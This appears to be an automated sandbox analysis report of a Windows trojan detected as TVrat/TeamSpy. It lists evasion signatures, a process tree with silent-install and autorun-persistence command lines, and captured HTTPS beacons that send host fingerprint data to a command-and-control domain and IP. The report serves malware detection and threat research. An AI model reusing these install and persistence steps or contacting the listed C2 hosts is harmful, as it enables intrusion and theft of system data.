Edit tour

Windows Analysis Report
wjpP1EOX0L.exe

Overview

General Information

Sample name:	wjpP1EOX0L.exe renamed because original name is a hash value
Original sample name:	7ea97972b7a7e37bdc6993c7f00830040acf4ce957243abb85d6c1232baf30c0.exe
Analysis ID:	1558734
MD5:	34dc961fe0a98ea779d7b673a48c77a0
SHA1:	7f3cf770da67a60d60c79c82df85eef66eb80d8e
SHA256:	7ea97972b7a7e37bdc6993c7f00830040acf4ce957243abb85d6c1232baf30c0
Tags:	crypto-st--artexeuser-JAMESWT_MHT
Infos:

Detection

TVrat

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected TVrat

AI detected suspicious sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Tries to delay execution (extensive OutputDebugStringW loop)

Tries to detect virtualization through RDTSC time measurements

AV process strings found (often used to terminate AV products)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries keyboard layouts

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

wjpP1EOX0L.exe (PID: 7344 cmdline: "C:\Users\user\Desktop\wjpP1EOX0L.exe" MD5: 34DC961FE0A98EA779D7B673A48C77A0)

wjpP1EOX0L.tmp (PID: 7360 cmdline: "C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp" /SL5="$20476,6422358,121344,C:\Users\user\Desktop\wjpP1EOX0L.exe" MD5: 90FC739C83CD19766ACB562C66A7D0E2)

wjpP1EOX0L.exe (PID: 7396 cmdline: "C:\Users\user\Desktop\wjpP1EOX0L.exe" /verysilent /password=uzx1m MD5: 34DC961FE0A98EA779D7B673A48C77A0)

wjpP1EOX0L.tmp (PID: 7412 cmdline: "C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp" /SL5="$2047E,6422358,121344,C:\Users\user\Desktop\wjpP1EOX0L.exe" /verysilent /password=uzx1m MD5: 90FC739C83CD19766ACB562C66A7D0E2)

cmd.exe (PID: 7788 cmdline: "C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\mo6x\xuwl3fl.bat"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

xcopy.exe (PID: 7836 cmdline: xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\mo6x\*" "C:\Users\user\AppData\Roaming\im\" MD5: 7E9B7CE496D09F70C072930940F9F02C)

ast.exe (PID: 8036 cmdline: "C:\Users\user\AppData\Roaming\im\ast.exe" MD5: 8002D9E5851728EB024B398CF19DE390)

ast.exe (PID: 1312 cmdline: "C:\Users\user\AppData\Roaming\im\ast.exe" MD5: 8002D9E5851728EB024B398CF19DE390)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
TeamSpy, TVRAT		No Attribution	https://blog.avast.com/a-deeper-look-into-malware-abusing-teamviewer https://blog.trendmicro.com/trendlabs-security-intelligence/unsupported-teamviewer-versions-exploited-backdoors-keylogging https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/ https://www.cyber.nj.gov/threat-center/threat-profiles/trojan-variants/spy-agent https://www.deepinstinct.com/blog/the-russian-spyagent-a-decade-later-and-rat-tools-remain-at-risk	https://malpedia.caad.fkie.fraunhofer.de/details/win.teamspy

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Roaming\im\ast.exe	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Roaming\im\ast.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Roaming\im\ast.exe	JoeSecurity_TVrat	Yara detected TVrat	Joe Security
C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp	JoeSecurity_TVrat	Yara detected TVrat	Joe Security
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author
0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	JoeSecurity_TVrat	Yara detected TVrat	Joe Security
Process Memory Space: ast.exe PID: 8036	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: ast.exe PID: 8036	JoeSecurity_TVrat	Yara detected TVrat	Joe Security

Unpacked PEs

Source	Rule	Description	Author
10.0.ast.exe.400000.0.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
10.0.ast.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
10.0.ast.exe.400000.0.unpack	JoeSecurity_TVrat	Yara detected TVrat	Joe Security

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\im\ast.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\im\ast.exe, ProcessId: 8036, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\asg

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Yara detected TVrat

Source: Yara match	File source: 10.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ast.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\im\ast.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp, type: DROPPED

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 86.3% probability

Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8F21A0 CryptHashData,	10_2_6B8F21A0
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8F21C0 CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	10_2_6B8F21C0
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8F2160 CryptAcquireContextA,CryptCreateHash,	10_2_6B8F2160
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8F20A0 CryptAcquireContextA,CryptCreateHash,CryptHashData,CryptGetHashParam,CryptGetHashParam,CryptDestroyHash,CryptReleaseContext,	10_2_6B8F20A0
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8D8010 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,	10_2_6B8D8010

Source: ast.exe, 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_8a9c27f0-a

Source: wjpP1EOX0L.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50187 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50190 version: TLS 1.2

Source: wjpP1EOX0L.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libcrypto-1_1.pdb source: xcopy.exe, 00000009.00000003.2089288252.00000000035B2000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2999895866.000000006BE30000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\ssleay32.pdb source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\libeay32.pdb source: xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstRct.pdb source: xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3002416551.000000006C1CF000.00000002.00000001.01000000.00000011.sdmp, astrct.dll.9.dr
Source:	Binary string: D:\Projects\Delphi\_Assistant\10_FSTEK_02\00_Bin\Hatls.pdb source: xcopy.exe, 00000009.00000003.2088110800.00000000035D3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3005322508.000000006C482000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\libjpeg-turbo-win.pdb source: xcopy.exe, 00000009.00000003.2096624002.000000000341C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\Delphi\_Assistant\10_FSTEK_02\00_Bin\Hatls.pdbf source: xcopy.exe, 00000009.00000003.2088110800.00000000035D3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3005322508.000000006C482000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASM source: ast.exe, 0000000A.00000002.2999895866.000000006BDC7000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstClient.pdb source: ast.exe, 0000000A.00000002.3007667489.000000006CFB3000.00000002.00000001.01000000.0000000F.sdmp, is-951GK.tmp.3.dr
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstRct.pdbM6 source: xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3002416551.000000006C1CF000.00000002.00000001.01000000.00000011.sdmp, astrct.dll.9.dr
Source:	Binary string: vcruntime140.i386.pdb source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385212736.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3008128485.000000006F701000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: vcruntime140.i386.pdbGCTL source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385212736.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3008128485.000000006F701000.00000020.00000001.01000000.00000015.sdmp
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\libjpeg-turbo-win.pdb! source: xcopy.exe, 00000009.00000003.2096624002.000000000341C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vcomp140.i386.pdbGCTL source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385162742.00000000033F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\CFILES\Projects\WinSSL\openssl-1.1.0g\libcrypto-1_1.pdb source: xcopy.exe, 00000009.00000003.2094846139.00000000035DF000.00000004.00000020.00020000.00000000.sdmp, is-VCJTB.tmp.3.dr
Source:	Binary string: msvcr120.i386.pdb source: xcopy.exe, 00000009.00000003.2097728621.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, msvcr120.dll.9.dr
Source:	Binary string: D:\ProjectsVS2015\!Ast_SVN\00_Bin\AstClient.pdbe source: ast.exe, 0000000A.00000002.3007667489.000000006CFB3000.00000002.00000001.01000000.0000000F.sdmp, is-951GK.tmp.3.dr
Source:	Binary string: C:\OpenSSL\Temp\openssl-1.0.2u-x32\out32dll\ssleay32.pdb@W source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdbnes\AppData\Roaming\im\ source: ast.exe, 0000000A.00000002.2978052448.000000000019A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libssl-1_1.pdb@@ source: xcopy.exe, 00000009.00000003.2097505417.0000000003418000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3006758328.000000006CA31000.00000002.00000001.01000000.00000013.sdmp, is-UA1D6.tmp.3.dr
Source:	Binary string: C:\Users\user\AppData\Roaming\im\ast.pdb\*D{ source: ast.exe, 0000000A.00000002.2978052448.000000000019A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: vcomp140.i386.pdb source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385162742.00000000033F8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\ProjectsVS2015\OpenSSL\openssl-1.1.1l\libssl-1_1.pdb source: xcopy.exe, 00000009.00000003.2097505417.0000000003418000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3006758328.000000006CA31000.00000002.00000001.01000000.00000013.sdmp, is-UA1D6.tmp.3.dr
Source:	Binary string: C:\Users\user\AppData\Roaming\im\ast.pdb source: ast.exe, 0000000A.00000002.2978052448.000000000019A000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASMOpenSSL 1.1.1l 24 Aug 2021built on: Tue Sep 7 07:24:19 2021 UTCplatform: VC-WIN32OPENSSLDIR: "C:\Program Files (x86)\Common Files\SSL"ENGINESDIR: "C:\Program Files (x86)\OpenSSL\lib\engines-1_1"not availabledes(long) source: ast.exe, 0000000A.00000002.2999895866.000000006BDC7000.00000002.00000001.01000000.00000014.sdmp

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Code function: 11_2_07065021 lstrcat,FindFirstFileA,lstrcat,FindNextFileA,FindClose,

11_2_07065021

Source: global traffic	TCP traffic: 192.168.2.4:49876 -> 212.193.169.65:44335
Source: global traffic	TCP traffic: 192.168.2.4:50015 -> 195.19.105.66:44444

Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 2691MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.19045) x64
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 2691MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.19045) x64
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 256
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 2561:vKlGnpp1142 104 603p1142 104 603p1142 104 603p1142 104 603p1142 104 603p1p2p4142 104 603p5142 104 603
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 2561:I*K1pp1142 104 603p1142 104 603p1142 104 603p1142 104 603p1142 104 603p1p2p4142 104 603p5142 104 603
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 2561:6otL?:pp1142 104 603p1142 104 603p1142 104 603p1142 104 603p1142 104 603p1p2p4142 104 603p5142 104 603
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 2561:mF$~Wpp1142 104 603p1142 104 603p1142 104 603p1142 104 603p1142 104 603p1p2p4142 104 603p5142 104 603
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
Source: global traffic	HTTP traffic detected: POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1Host: id.xn--80akicokc0aablc.xn--p1ai:443Content-Length: 269
